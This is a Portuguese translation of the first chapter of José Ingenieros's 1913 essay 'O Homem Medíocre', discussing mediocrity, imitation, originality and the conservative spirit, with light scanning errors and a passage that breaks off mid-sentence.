ÁUREA MEDIOCRITAS – Capítulo I de “O Homem Medíocre de José Ingenieros”

O Homem Medíocre (1913)

José Ingenieros (1877-1925)

Capítulo I – ÁUREA MEDIOCRITAS

I.
ÁUREA MEDIOCRITAS ?
— II.
OS HOMENS
SEM PERSONALIDADE. — III. EM TORNO DO HOMEM MEDÍOCRE. —
IV. CONCEITO SOCIAL DA MEDIOCRIDADE. — V. o ESPÍRITO
CONSERVADOR. — VI. PERIGOS SOCIAIS DA MEDIOCRIDADE. — VII.    a VULGARIDADE.

I — Áurea mediócritas?

Há uma certa hora em que o pastor ingênuo se
assombra diante da natureza que o circunda. A penumbra se adensa; a côr das
coisas se uniformiza no cinzento homogêneo das
silhuetas, as primeiras humidades crepusculares levantam, de
todas as ervas, um vago perfume; aquieta-se o rebanho para dormir; o sino
remoto tange o seu aviso vesperal. A impalpável
claridade
lunar vai se esbranqui çando,
ao
cair sobre as coisas;
algumas estrelas inquietam o firmamento com a sua
titila ção, e um longínquo rumor de arroio brincando nas brenhas,
parece
conservar sobre misteriosos temas. Sentado
sobre a pedra menor áspera que encontra à beira do
caminho, o pastor contempla e emudece. convidando
em vão a meditar pela convergência do sítio e da hora. Sua admiração primitiva
é simples estupor. A poesia natural que o rodeia, ao
refletir-se em sua imaginação, não se converte em poema. Êle é,
apenas , um objeto no quadro, uma pincelada: como a pedra, a árvore a ovelha, o
caminho; um acidente na penumbra. Para
êle, todas as coisas foram sempre as assim
continuarão a ser, desde a terra que pisa até o rebento que apascenta.

 A imensa massa dos homens
pensa com a cabeça desse ingênuo pastor; não entenderia o idioma de quem lhe
explicasse algum mistério do universo ou da vida, a evolução eterna de todo o
conhecido, a possibilidade do aperfeiçoamento humano na contínua adaptação do
homem à natureza.

Para conceber uma perfeição, é mister possuir um
certo nível ético, e é indispensável alguma educação intelectual. Sem isso,
podem ter-se fanatismos e superstições; ideais, nunca.

Os que vivem abaixo desse nível, e não
adquirem essa educação, permanecem sujeitos a dogmas que os outros lhes impõem,
escravos de fórmulas paralizadas pela ferrugem
do tempo. Suas rotinas e seus preconceitos parecem-lhes eternamente
invariáveis: sua obtusa imaginação não concebe perfeições passadas, nem
vindouras; o estreito horizonte de sua experiência consti-tue o limite
obrigatório de sua mente. Não podem formar um ideal. Encontrarão, nos alheios,
uma chispa
capaz
de incendiar suas paixões; serão sectários, podem sê-lo. E não advertirão,
siquer, a ironia dos que os convidam e se arrebanharem, em nome de ideais que
podem servir, mas não compreender. Todo sonho, seguido pelas multidões, é
pensado apenas por poucos visionários, que são seus amos.

A desigualdade humana não é uma descoberta moderna.
Plutarco
escreveu,
há séculos, que "os animais de uma mesma espécie diferem menos entre si,
do que um homem de outro" (Obras morais, vol. III).

Montaigne subscreveu esta
opinião:

"Há mais distâncias entre tal e tal homem, do
que entre tal homem e tal animal: — quer dizer que o mais excelente animal está
mais próximo do homem menos inteligente, do que este último, de outro homem
grande e excelente". (Ensaios, vol. I, cap. XLII).

OS que continuam afirmando
a desigualdade
humana,
n ão
pretendem dizer mais do que isso; ela será, no porvir, tão
absoluta, como nos tempos de Plutarco ou de
Montaigne.

Há homens mentalmente inferiores ao
termo médio de sua raça, de seu tempo, de sua classe social; também os há
superiores. Entre uns e outros, flutua uma grande massa impossível de ser
caracterizada por Inferioridades ou por excelências.

Os
psicólogos não têm querido tratar destes últimos; a arte os detesta, por incolores;
a
história não sabe seus
nomes. São pouco interessantes; inutilmente se buscaria neles uma aresta
definida, uma pincelada firme, um rasgo característico. Os moralistas os co-brem
com igual desdém; individualmente, não merecem o desprezo, que
fustiga os perversos, nem a apologia, reservada aos virtuosos.

Sua
existência é, sem dúvida, natural e necessária. Em tudo o
que oferece graus, há mediocridade; na escala da inteligência
humana, ela representa o claro-escuro
entre
o talento e a
estulticia.

Não diremos,
por isso, que é sempre louvável.

Horácio
não
disse áurea mediocritas no sentido ge-ral e absurdo proclamado
pelos incapazes de sobressair por seu engenho, por
suas virtudes, ou por suas obras, Outro foi o parecer do poeta: colocando na
tranqüilidade e na independência o
maior bem-estar do homem, enalteceu a delícia de um viver singelo, que dista
igualmente da opulência
e
da miséria, denominando áurea essa mediocriade
material. Em certo sentido epicúreu, sua sentença é verdadeira, e
confirma o remoto provér bio árabe:

"Um
mediano bem-estar tranqüilo é preferível à opulência
cheia de preocupações".

Inferior, daí, que a mediocridade
moral, intelectual e de caráter é digna de respeitosa homenagem, implica
desvirtuar a própria intenção de Horácio: em versos
memoráveis, (Ad Pis., 472),
menosprezou os poetas medíocres :


Mediocribus esse poetis

Non di, non
homines, non concessere
cólumnae.

E é lícito estender o seu direito a todos quantos
o são, de espírito.

Por que
deveríamos nós submeter o sentido do áurea mediocritas clássico? Por que
suprimir diferenças de nível, entre os homens e as sombras, como se,
rebaixando um pouco os excelentes, e levantando um pouco os nécios,
se
atenuassem as desigualdades criadas pela natureza?

Não concebemos o aperfeiçoamento social como produto
da uniformidade de todos os indivíduos, senão, como combinação harmônica de originalidades
incessantemente
multiplicadas. Todos os inimigos da diferença o são também do progresso; é
natural, portanto, que consideram a originalidade como um defeito imperdoável.

Os que
sentenciam por essa forma, estão inclinados a confundir o senso comum com o
bom senso, como se, emaranhando a significação dos vocábulos, quisesse criar
afinidades entre as idéias correspondentes. Afirmemos que são antagonistas.
O
senso comum é coletivo, eminentemente retrógrado e dogmatista; o bom senso é
individual, sempre inovador e libertário.

Pela obediência
a um ou a outro, reconhecem-se servidão e aristocracia naturais, ínsitas
no
engenhou Dessa irremediável heterogeneidade, nasce a
intolerância dos rotineiros, diante de qualquer cintilação original;
cerram fileiras para se defenderem, como se as diferenças fossem crimes.

Tais desnivelamentos são um postulado
fundamental da psicologia. Os costumes e as leis podem estabelecer direitos e
deveres comuns a todos os homens; mas estes serão sempre tão desiguais, como as
ondas que eriçam a superfície de um oceano.

 

II — Os homens sem personalidade

Individualmente considerada, a
mediocridade poderia definir-se
como
uma ausência de característicos pessoais que permitam distinguir o indivíduo
em sua so-ciedade. Esta oferece, a todos, um idêntico fardo de rotinas,
preconceitos e domesticidade; basta reunir cem homens, para que eles coincidam
no impessoal.

"Reuni
mil gênios
em
um concílio, e tereis a alma de um medíocre".

Estas
palavras denunciam o que, em cada homem,  não pertence a êle
mesmo, e que, quando a soma sobe a muitos, se revela
pelo baixo nível das opiniões coletivas.

A personalidade individual começa no
ponto preciso em que cada um se torna diferente dos
demais; em
muitos
homens, esse ponto é simplesmente
imaginário.
Por
esse motivo, ao classificar os caracteres humanos, compreendeu-se
a necessidade de separar os que carecem de traços característicos: produtos
adventícios do   meio, das circunstâncias, da educação que se lhes proporciona, das
pessoas que os tutelam, das coisas que os
rodeiam.

Ribot
chamou "indiferentes" os que vivem, sem que a sua existência seja
advertida. A sociedade pensa e quer por eles. Não
têm voz, nem eco. Não há linhas definidas,
nem na sua própria sombra, que é, apenas,
uma penumbra.
Cruzam
pelo mundo, às furtadelas, me drosos de que alguém possa
reprochar-lhes essa ousa dia
de existir
em vão, como contrabandista da vida,

E o são. Ainda que os homens careçam de missão
transcendental sobre a terra, em cuja superfície vivemos tão naturalmente,
como as rosas e os gusanos, nossa vida não é digna de ser vivida,
senão quando algum ideal a enobrece: os mais altos prazeres são inerentes à
proposição de uma perfeição e a sua realização. As exigências vegetativas
n ão
têm biografia: na h?*tória da sua sociedade, só vive o que deixa rastros nas
coisas ou nos espíritos. A vida vale pelo uso que dela fazemos, pelas obras que
realizamos.

Não vive mais o que conta maior número de anos,
senão o que sente melhor o seu ideal; as cãs denunciam a
velhice, mas não dizem quanta juventude as percebeu.

A medida social do homem está na
duração de suas obras: a imortalidade é o privilégio dos que as fazem capazes
de sobreviver aos séculos, e por elas se mede.

O poder que se maneja, os favores que
se mendigam, o dinheiro que se acumula, as dignidades que se
conseguem, têm certo valor efêmero, que pode satisfazer os apetites daquele
que não leva em si mesmo, em suas virtudes intrínsecas, as forças morais que embelezam
e qualificam a vida: a afirmação da própria personalidade, e a quantidade de
altivez posta na significação de nosso eu. Viver é aprender, para ignorar
menos; é amar, para nos vincularmos a uma parte maior de humanidade; é admirar,
para compartilhar as excelências da natureza, bem como dos homens; é esforço
para melhorar, um afã incessante de elevação em direção de ideais definidos.

Muitos nascem: poucos vivem. Os homens sem personalidade
são inumeráveis, e vegetam, moldados pelo meio, como cera fundida no cadinho
social. Sua moralidade de catecismo e sua
inteligência quadriculada, os constrangem a uma perpétua disciplina do
pensamento e da conduta; sua existência é negativa como unidade social.

O    homem de caráter firme é capaz de
mostrar encrespamentos sublimes, como o oceano; nos temperamentos domesticados,
tudo
parece superfície tranqüila, como nos lamaçais. A falta de personalidade
torna-os, a estes, incapazes de iniciativas e de resistências. Desfilam
inadvertidos, sem aprender nem ensinar, diluindo em tédios a sua insipidez, vegetando
na
sociedade, que ignora a sua existência; zeros à esquerda, que nada qualificam,
e que para nada servem. Sua falta de robustez moral os faz ceder à mais leve
pressão, sofrer todas as influências, altas e baixas, grandes e pequenas,
transitoriamente arrastados à altura pelo mais leve zéfiro, ou emborcados
pela onda miúda de um riacho. Barco de amplo velame, mas sem leme,
não sabe adivinhar a sua própria rota: ignoram se irão encalhar numa praia
arenosa, ou se irão esborrachar-se contra um escolho.

Estão em todas
as partes, embora inutilmente procurássemos um, capaz de se reconhecer; se achássemos,
seria um original, pelo simples fato de se envolver na
mediocridade.

Quem é que não
se atribui
alguma
virtude, certo talento ou um caráter
firme? Muitos cérebros rudes se envaidecem
de sua própria necessidade, confundindo a paralisia com a firmeza, que é dom de
poucos eleitos; os velhacos se orgulham de sua picardia e da falta
de vergonha, confundindo-as com o engenho; os
servir
e os papalvos pavoneiam-se de
honestos, como se a incapacidade para praticar o mal pudesse, em algum caso, ser
confundida com a virtude.

Si se tivesse em conta a boa
opinião que todos os homens formam de si próprios,
seria impossível dis-correr sobre os que se caracterizam pela sua ausência de
personalidade. Todos julgam ter uma: e muito sua. Nenhum adverte que a
sociedade o submeteu a essa operação aritmética que consiste em reduzir muitas
quantidades a um denominador comum: a mediocridade.

Estudamos,
pois, os inimigos de toda perfeição, cegos para os astros. Existe uma
vastíssima biografia acerca dos inferiores e dos insuficientes, desde o criminoso
e do delirante, até o retardado e o idiota; há, também, uma rica literatura
consagrada a estudar o gênio e o talento, razão pela qual a história e a arte
convergem, na manutenção de seu culto. Uns e outros são, entretanto, exceções.
O habitual não é o gênio, nem o idiota; não é o talento nem o imbecil. É o homem
que nos rodeia a milhares, o que prospera e se reproduz, no silêncio e na treva: é o medíocre.

Cabe ao
psicólogo dissecar a sua mente, com firme escalpelo, tal como fazem com os
cadáveres aquele professor eternizado pelo pincel de Rembrandt, na Lição de
Anatomia:
seus olhos parecem que se iluminam, ao contemplar as entranhas
mesmas da natureza humana, e seus lábios palpitam de eloqüência serena, ao
dizer a sua verdade, para quantos o rodeiam.

Por que não
estendemos o homem sem idéias sobre a nossa mesa de autópsias, até saber o que
é, como é, que faz, que pensa, para que serve?

Sua etopéia
constituirá
um capítulo básico para a psicologia da moral.

 

III — Em torno do homem medíocre

 

Com diferentes denominações, e sob
aspectos heterogêneos, já se tentou, algumas vezes, definir o homem sem
personalidade. A filosofia, a estatística, a antropologia, a psicologia, a
estética e a moral, contribuíram para a determinação de tipos mais ou menos
exatos: não
se
advertiu, sem embargo, o valor essencialmente social da mediocridade. O homem
medíocre — como, em geral, a personalidade humana — só pode ser definido com
relação à sociedade em que vive, por sua função social.

Se pudéssemos medir os valores
individuais, graduá-los-íamos em escala contínua, de baixo para cima. Entre os
tipos extremos e escassos, observaríamos u’a massa abundante de sujeitos, mais
ou menos equivalentes acumulados nos graus centrais da série. Mera ilusão
seria a de quem pretendesse procurar ali o hipotético protótipo da humanidade,
o Homem Natural, que Aristóteles andou buscando; séculos mais tarde, a
peregrina ocorrência reapareceu no redemoinhante espírito de Pascal. Mediania,
com efeito, não é sinônimo de normalidade. O homem normal não
existe: não pode existir. A humanidade, como todas as espécies viventes,
evolue
sem cessar; suas mudanças se operam desigualmente, em numerosos agregados
sociais diferentes entre si. O homem normal numa sociedade, não n’o é em outra;
o de há mil anos não n’o seria hoje, nem no porvir.

Morel se equivocara, por esquecer
isto, quando o concebia como um exemplar da "edição princeps" da Humanidade,
lançada em circulação pelo Supremo Autor. Partindo dessa premissa, definia a degeneração,
em
todas as suas formas, como uma divergência patológica do perfeito exemplar
originário. Disso, ao culto do homem primitivo, mediava um passo,
distanciaram-se, felizmente, de tal preconceito, os antropólogos contemporâneos.
O homem — dizemos agora — é um animal que evolui nas mais recentes idades
geológicas do planeta; não foi perfeito em sua origem, nem a sua perfeição
consiste em regressar às suas formas avitas, surgidas da animalidade simiesca.
Se não pensássemos assim, renovaríamos as divertidíssimas
Sendas do
anjo caído
da árvore
do
bem
e
do mal, da serpente
tentadora,
da maçã
aceita
por Adão,
e
do paraíso perdido.

Quetelet pretendeu formular
uma
doutrina antropológica
ou social acerca do Homem
Médio:
seu
ensaio é uma inquirição estatística, complicada por inocentes aplicações do
abusado in medio stat virtus. Não incorremos
nesse erro de admitir que os homens medíocres podem ser reconhecidos por
atributos físicos ou morais, que representam um meio-termo entre os observado
na espécie humana. Nesse sentido, seria um produto abstrato, sem corresponder
a indivíduo de existência real.

O conceito da normalidade humana só
poderia ser relativo a determinado ambiente social; serão normais os que melhor
"marcam passo", os que enfileiram com mais
exatidão nas hostes de um convencionalismo social?

Neste sentido, homem normal não
seria sinônimo de homem equilibrado, sinão, de homem domesticado;
a
passividade não é equilíbrio, não é uma complicada resultante de energias, e,
sim, a sua ausência.

Como confundir os grandes equilibrados, Leonardo e
Goethe,
com
os amorfos?

O equilíbrio entre os pratos carregados, não pode
ser comparado com a quietude de uma balança vazia. O homem sem
personalidade não é um modelo, sinão, uma sombra; se há perigos na idolatria
dos heróis e dos homens representativas, à maneira de Carlyle ou de Emerson,
mais ainda os há em repetir essas fábulas que permitiriam encarar como
aberração toda excelência do caráter, de virtude e de intelecto.

Bovio assinalou
este grande erro, pintando o homem médio com traços psicológicos precisos:

"É dócil, acomodaticio em todas as
pequenas oportunidades, adaptabilíssimo a todas as temperaturas de um dia
variável, avisado nos negócios, resistente às combinações dos astutos; mas,
deslocado da sua mediocre esfera, e ungido por uma feliz
combinação de intrigas, êle se desmorona sempre, logo depois precisamente
porque é um equilibrista, e não leva em si as forças do equilíbrio. Equilibrista
não significa equilibrado. Esse é o preconceito mais grave: o homem
medíocre equilibrado e o gênio desequilibrado".

Em seus mais indulgentes comentaristas,
esse pretendido equilíbrio se estabelece entre qualidade pouco dignas de
admiração, cuja resultante provoca mais lástima do que inveja. Certa vez,
recebeu Lombroso um telegrama decididamente norte-americano. Era, com efeito,
de um grande jornal, e solicitava uma entensa resposta telegráfica a uma pergunta
presenteada com a sugestiva recomendação de um cheque:

"Qual é o
homem normal?"

A resposta desconcertou, sem dúvida,
os leitores. Longe de louvar as suas virtudes, traçava um quadro de caracteres
negativos e estéreis: "bom apetite, trabalhador, ordenado, egoísta,
apegado aos seus costumes, misoneísta, paciente,
respeitoso a toda autoridade — animal doméstico". Ou, em palavras mais
breves, fruges consumere natus, como disse o poeta latino.

Com ligeiras variantes, essa definição evoca a do Filistew.
produto
do costume, desprovido de fantasia, ornato de todas as virtudes da
mediocridade, levando uma vida honesta, graças à moderação de suas exigências,
preguiçoso em suas concepções intelectuais, suportando, com paciência comovedora,
todo
o fardo de preconceito que herdou dos seus antepassados". Nestas linhas,
refletem-se as invectivas,

clássicas, de Heine, contra a mentalidade que êle julgava corrente entre os
seus compatriotas. Por sua parte, Schopenhauer, nos seus "Aphorismos",
definiu
o perfeito filisteu,
como
um sêr que se deixa enganar pela aparência, e toma a sério todos os dogmatismos
sociais,
constantemente preocupado com se submeter às farsas mundanas.

A estas definições do homem médio, podem juntar-se
outras de caráter intelectual ou estético, não isentas de interesse, embora
unilaterais. Para alguns, a mediocridade consistiria na inaptidão para exercitar
as mais altas qualidades do engenho; para outros, seria a inclinação a pensar
terra-a-terra. Medíocre corresponderia a Burguês, em
contraposição a Artista; Flaubert o definiu como
um homem que "pensa baixamente". Julgado com esse critério,
parece-lhe detestável.

Tal êle aparece na magnífica silhueta
de Helo, atabalhoado prosista católico, que nos ensinou a admirar Ruben
Dário. Distingue
o medíocre do imbecil; este ocupa um extremo do mundo, o gênio ocupa o outro;
o medíocre está no centro.

Será êle, então, o que em filosofia, em política
ou em literatura, se denominam um eclético ou um justo meio?

De maneira alguma, responde. Aquele que é
justo-meio, o sabe, tem a intenção de o ser; o homem medíocre é justo-meio,
sem suspeitar que o é. É-o por natureza, não por opinião; por caráter, não por
acidente. Em todo instante de sua vida, bem como em qualquer estado de alma,
será sempre medíocre. Seu traço característico, absolutamente inequívoco, é a sua deferência
para
com a opinião dos outros. Nunca fala; repete sempre. Julga os homens como os
ouve julgar. Reverenciará o seu mais cruel adversário, si este conseguir
elevar-se; desdenhará 0 seu melhor amigo, si ninguém o elogiar. O seu critério
carece de iniciativa. Suas admirações são prudentes. Seus entusiasmos são
oficiais. Essa definição descritiva — análoga às que repetira Barbey
D’Aurevilly —
possue uma eloqüência muito sugestiva, embora parta de premissas estéticas,
para chegar a conclusões morais".

O "homem normal" de Bóvio e de Lombroso
corresponde ao "filisteu"
de
Heine e
de Schopenhauer, aproximando-se ambos do "burguês" anti-artístico de Flaubert
e de Barbey D’Aurevilly. Mas,
forçoso é reconhecê-lo, tais definições são inseguras, à luz da
psicologia social; convém procurar outra, mais exata e menos equívoca,
explanando o problema por outros meios.

 

IV — Conceito social da mediocridade

 

Nenhum homem é excepcional em toda as suas aptidões;
mas se poderia afirmar que são medíocres, redondamente, os que não se sobrelevam
por
nenhuma. Desfilam, diante de nós, como simples exemplares da história
natural, com tanto direito como os gênios e os imbecis. Existem: é preciso
estudá-los. O moralista dirá, depois, se a mediocridade é boa ou má; ao
psicólogo, por enquanto, isto lhe é indiferente: observa os caracteres no meio
social em que vivem, descreve-os, compara-os e os classifica, da mesma forma
que outros naturalistas observam fósseis no leito de um rio, ou mariposas na corola de urna flor.

Não obstante as infinitas diferenças
individuais, existem grupos de homens que podem ser englobados dentro de tipos
comuns; tais classificações, simplesmente aproximativas, constituem a
ciência dos caracteres humanos, a Etiologia, que reconhece
em Teofrasto o seu legítimo progenitor. Os antigos
fundavam-na sobre os temperamentos; os modernos procuram suas bases na
preponderância de certas funções psicológicas. Estas classificações,
admissíveis sob um aspecto especial, são insuficientes para o nosso.

Se observarmos qualquer sociedade humana, o valor
dos seus componentes é sempre relativo ao conjunto: o homem é um valor
social.

Todo indivíduo é produto de dois
fatores: a hereditariedade
e
a educação. A primeira tende a fornecer-lhe os órgãos e ao funções mentais
que as gerações precedentes lhes transmitem; a segunda é o resultado das
múltiplas influências do meio social ern que o indivíduo é obrigado a viver.
Esta ação educativa é, por conseguinte, uma adaptação das tendências
hereditárias à mentalidade coletiva: uma contínua aclimação do indivíduo na
sociedade.

A criança se desenvolve como um animal da
espécie humana,
até começar a distinguir as coisas inertes dos seres vivos,
e a reconhecer, entre estes, os seus semelhantes. Os princípios da sua
educação são, nesse tempo, dirigidos pelas pessoas que a circundam, tornando-se
cada vez mais decisiva a influência do meio; desde que esta predomine, a
criança evolui como um membro da sua sociedade, e seus hábitos se
organizam mediante a imitação. Mais tarde, as variações, adquiridas no curso,
da sua experiência individual podem fazer que o homem se caracterize como
uma pessoa diferenciada
dentro da sociedade em que vive.

A imitação desempenha um papel importantíssimo, quasi exclusivo, na
formação da personalidade social; a invenção produz, em troca, as variações
individuais. Aquela é conservadora, e atua criando hábitos; esta é evolutiva, e
se desenvolve mediante a imaginação. A diferente adaptação de cada indivíduo
ao seu meio, depende do equilíbrio entre o que imita e o que inventa. Nem
todos podem imitar ou inventar da mesma maneira, pois estas virtudes se
realizam tendo por base certa capacidade congênita, inicialmente desigual,
recebida mediante a hereditariedade psicológica.

 

O predomínio da variação determina a
originalidade. Variar é ser alguém; diferenciar-se é ter um caráter próprio,
um penacho,
grande
ou pequeno; embora, por fim, de que não se vive como simples reflexo dos
outros.

A função
capital do homem medíocre é a paciência imitativa; a do homem
superior é a imaginação criadora.

O medíocre aspira a confundir-se com
os que o rodeiam: o original tende a diferenciar-se deles. Enquanto um se
concretiza, pensando com a cabeça da sociedade, o outro aspira a pensar com a
própria cabeça. Nisto se estriba a desconfiança que sói rodear os
caracteres originais: nada parece tão perigoso como um homem que aspira a
pensar com a sua cabeça.

**
*

Podemos recapitular. Considerando
cada indivíduo em relação a seu meio, ver-se-á que três elementos concorrem
para formar a sua personalidade: a hereditariedade biológica, a
imitação social e a variação individual.

Todos, ao
nascer, recebem, como herança da espécie, os elementos para adquirir uma ‘personalidade
específica, insuficiente para adaptá-los à mentalidade social.

O homem inferior é um animal
humano; em sua mentalidade, predominam as tendências instintivas condensadas
pela herança, e que constituem a "alma da espécie". Sua inaptidão
para
a imitação o impede de se conformar com o meio social em que vive; sua personalidade
não se desenvolve até o nível corrente, vivendo por baixo da moral ou da
cultura dominante, e, em muitos casos, fora da legalidade. Esta insuficiente
adaptação determina a sua incapacidade para pensar como os outros, e
compartilhar as rotinas comuns.

A maioria,
mediante a educação imitativa, copia, das pessoas que a rodeiam, uma personalidade
social
perfeitamente adaptada.

O homem medíocre é uma sombra
projetada
pela
sociedade;
é,
por essência,
imitativo,
e está perfeitamente
adaptado
para viver
em rebanho, refletindo rotinas, preconceitos e dogmatismos reconhecidamente
úteis para a domesticidade.

Assim como o inferior herda a
"alma da espécie", o medíocre adquire a "alma da
sociedade". Seu característico é imitar a todos quantos o rodeia; pensar
com a cabeça alheia, e ser incapaz de formar idéia própria.

Uma minoria, além de imitar a mentalidade social,
adquire variações próprias, uma personalidade individual, nitidamente
diferenciada.

O homem superior é um acidente proveitoso
para a evolução humana. É original e imaginativo, desadap-tando-se do meio
social, na medida da sua própria variação. Esta se sobrepõe aos atributos
hereditários da "alma da espécie" e as aquisições imitativas
da
"alma da sociedade", constituindo as arestas singulares da "alma
individual", que o distinguem dentro da sociedade. É precursor de novas
formas de perfeição, pensa melhor do que o meio em que vive, e pode sobrepor
ideais seus às rotinas dos demais.

V —   O espírito conservador

Tudo o que existe é necessário. Cada homem pos-sue
um valor de contraste, se não o tem de afirmação; é um detalhe necessário na
infinita evolução do proto-homem ao super-homem. Sem a sombra, ignoraríamos o
valor da luz. A infâmia nos induz a respeitar a virtude; o mel
não seria doce, se os aloés não nos ensinassem o paladar
da
amargura; admiramos o vôo da águia, porque conhecemos o rastejar da serpente;
o gorjeio do rouxinol encanta mais depois de se ter escutado o silvo da
cascavel. O medíocre representa um progresso, comparado com o imbecil, embora
se conserve em categoria, se o compararmos com o gênio; suas idiosincrasias
sócias
são relativas ao meio e ao momento em que atua. De outra forma, se fosse intrinsecamente
inútil, não existiria: a seleção natural exterminá-lo-ia. É necessário para a
sociedade, como as palavras o são para o estilo. Mas não bastaria, para
criá-los, alinhar todos os vocábulos que jazem no dicionário; o estilo começa
onde aparece a originalidade individual.

Todos os homens de firme personalidade e de mente
criadora, seja qual fôr a sua escola filosófica, ou o seu credo literário, são
hostis à mediocridade. Toda criação é um esforço original; a história conserva
o nome de poucos iniciadores, e, esquece o de inúmeros sequazes
que
os imitam. Os visionários de verdades novas, os inovadores de belezas — desde Renan e Hugo, até Guyan e Flaubert

a consideram como um obstáculo com que o passado obstrui o advento do seu
trabalho renovador.

Em face da moral social, sem dúvida, os medíocres
encontram uma justificação, como tudo o que existe por necessidade. O eterno
contraste das forças que atuam nas sociedades humanas, se traduz na luta entre
duas grandes atitudes que agitam a mentalidade coletiva: o espírito
conservador, ou rotineiro, e o espírito original, ou de rebeldia.

Dorado consagrou-lhe belas páginas. Crê
impossível dividir a humanidade em duas categorias de homens, uns rebeldes em
tudo, outros em tudo rotineiros; se assim fosse, não se poderia dizer quais os
que interpretam melhor a vida. Não é possível um viver imóvel de indivíduos
todos conservadores, nem o é um instável amotinamento de rebeldes e
insubmissos, para os quais nada existe que seja bom, nem há senda alguma digna de
ser seguida. É verossímel que ambas as forças sejam igualmente imprescindíveis.
Obrigados a eleger, daríamos preferência a uma atitude conservadora? A originalidade
necessita de um contrapeso robusto, que previna os seus
excessos; haveria ligeireza
em
fustigar os homens metódicos e de passo lento, se eles constituíssem os
tecidos sociais mais resistentes. Como acontece com os organismos, os
diferentes elementos sociais servem de mútuo sustentáculo; ao invés de se
olharem como inimigos, deveriam considerar-se como cooperadores de uma obra
única, embora complicada. Se no mundo não houvesse mais do que rebeldes, o
mundo não poderia marchar; tomar-se-ia impossível a rebeldia, se faltasse
alguém contra quem se rebelar. E, sem inovadores, quem arrastaria o carro da
vida, sobre o qual aqueles vão tão satisfeitos? Ao invés de se combaterem,
ambas as partes deveriam entender-se, e concordar em que nenhuma teria motivo
de existir se a outra não existisse. O conservador sagaz pode abençoar o
revolucionário, e vice-versa. Eis aqui uma nova base para a tolerância: todo
homem necessita de seu inimigo.

Se tivessem igual razão de ser, tanto
os imitadores como os revolucionários, como argumenta o pensador espanhol, sua
justificação já estaria feita. Ser medíocre não é uma culpa; sendo-o, sua
conduta é legítima.

Acertam os que extraem da sua vida a
maior soma de frutos, e procuram passar, na melhor situação possível, os seus
curtos dias sobre a terra, sem consagrarem uma hora ao seu próprio
aperfeiçoamento moral, sem se preocuparem com os seus próximos, nem com as
gerações posteriores? É pecado operar por esta forma? Pecam, porventura, os que
não pensam em si mesmo, e vivem para os outros; os abnegados, os altruístas, os
que sacrificam seus prazeres e suas forças em benefício alheio, renunciando a
suas comodidades e até a sua vida, como freqüentemente acontece?

Por indefectível que seja pensar no
amanhã, dedicando-lhe certa parte de nossos esforços, é impossível deixar de
viver no presente, pensando nele, ao menos em parte. Antes das gerações
vindouras, estão as atuais; outrora foram futuras, e para elas
trabalharam as passadas.

Este raciocínio, embora um tanto
sanchesco, seria respeitável, se colocássemos o problema no terreno abstrato
do homem extra-social, isto é: fora de toda sanção presente e futura.
Evidentemente, cada homem é como é, e não poderia ser de outra maneira; fazendo
abstração de toda moralidade, teria tão pouca culpa do seu delito o assassino,
como o gênio de sua criação. O original e o rotineiro, o folgazão e o
trabalhador, o máu e o bom, o generoso e o avarento, todos são assim,
apesar de própria vontade; não o seriam, se o equilíbrio entre o seu
temperamento e a sociedade o impedissem.

Por que, então, a humanidade admira os
santos, os gênios e os heróis, todos os que inventam, ensinam ou plasmam, os
que pensam no porvir, ou encarnam um ideal, ou forjam um império — Sócrates e
Cristo, Aristóteles e Bacon, Cesar e Washington?

Aplaude-os, porque toda sociedade tem,
implícita, uma moral, uma tábua própria de valores, que aplica para julgar cada
um dos seus componentes, não de conformidade com as conveniências individuais,
senão, de acordo com a sua utilidade social. Em cada povo, em cada época, a
medida do excelso
está
nos ideais de perfeição que se denominam gênio, heroísmo, santidade.

A imitação conservadora deve, pois,
ser julgada por sua função de resistência, destinada a conter o impulso
criador dos homens superiores e as tendências destrutivas dos sujeitos
anti-sociais. Nos prolegômeos
do
seu ensaio sobre o gênio e o talento, Nordau faz o seu
elogio irônico; para toda mente elevada, o filisteu é a besta
negra, e, nessa hostilidade, êle vê uma evidente ingratidão. Parece-lhe
útil; com um pouco de benevolência, chegaria a conceder-lhe essa relativa beleza
das coisas perfeitamente adaptadas ao seu objeto. É o fundo de perspectiva, na paisagem
social. De sua exiguidade
estética
depende todo o relevo adquirido pelas figuras que ocupam o primeiro plano. Os
ideais dos homens superiores permaneceriam em estado de quimeras, si não
fossem recolhidos e realizados por filisteus, destituídos de
iniciativas pessoais, que vivem esperando — com uma encantadora ausência de
idéias próprias — os impulsos e sugestões dos cérebros luminosos. É verdade
que o rotineiro não cede facilmente às instigações dos originais;
mas a sua própria inércia é garantia de que só recolhe as idéias de provada conveniência
para o bem-estar social. Sua grande culpa consiste em ser encontrado sem busca
nem pesquisa; seu número é imenso. Apesar de tudo, é necessário; constitui o
público desta comédia em que os homens superiores avançam até as ribaltas,
em
busca do seu aplauso e de sua sanção.

Nordau chega a dizer,
com fina ironia:

‘Toda vez que alguns homens de gênio se encontram
reunidos, ao redor de uma mesa de cervejaria, seu primeiro brinde, em virtude
do direito e da moral, deveria ser para o filisteu".

È tão exagerado este critério irônico
que proclama a sua conspicuidade, como o critério estético que o relega à mais
baixa esfera mental, confundindo-o com o homem inferior.

Individualmente considerado, através
do prisma moral e estético, é uma entidade negativa; mas, tomados os medíocres
em conjunto, podem-se-lhe atribuir funções de lastro, indispensáveis ao
equilíbrio da sociedade.

Merecem esta justiça. Seria possível a continuidade
social, sem essa compacta massa de homens puramente
imitativos, capazes
de conservar os hábitos rotineiros que a sociedade lhe infunde, mediante a educação?

O medíocre nada inventa, nada cria, não impulsiona,
não rompe, não engendra; mas, em compensação, sabe custodiar zelosamente a
armação dos
automatismos, dos
preconceitos e dogmas acumulados durante séculos defendendo esse capital comum
contra os assaltos dos inadaptáveis. Seu rancor contra os criadores é
compensado pela sua resistência aos destruidores. Os homens sem ideais
desempenham, na história humana, o mesmo papel da hereditariedade
na
evolução biológica: conservam e transmitem as variações úteis para a
continuidade do grupo social. Constituem uma força destinada a contrastar o
poder dissolvente
dos
inferiores e a conter as antecipações atrevidas dos visionários. São
necessários à coesão do conjunto, como o cimento, para sustentar um mosaico bizantino.
Mas — é preciso dizê-lo, o cimento não é o mosaico.

Sua ação seria nula, sem o esforço
fecundo dos originais, que inventam o imitado, depois, por eles. Sem os
medíocres não haveria estabilidade nas sociedades; mas, também sem os
superiores, não se pode conceber o progresso, porquanto a civilização seria
inexplicável em uma raça constituída apenas de homens sem iniciativa.

Evolver é variar; somente é possível
variar mediante a invenção. Os homens imitativos se limitam a entesourar
as
conquistas dos originais; a utilidade do rotineiro está subordinada à
existência do idealistas, como a fortuna dos livreiros se estriba no engenho dos
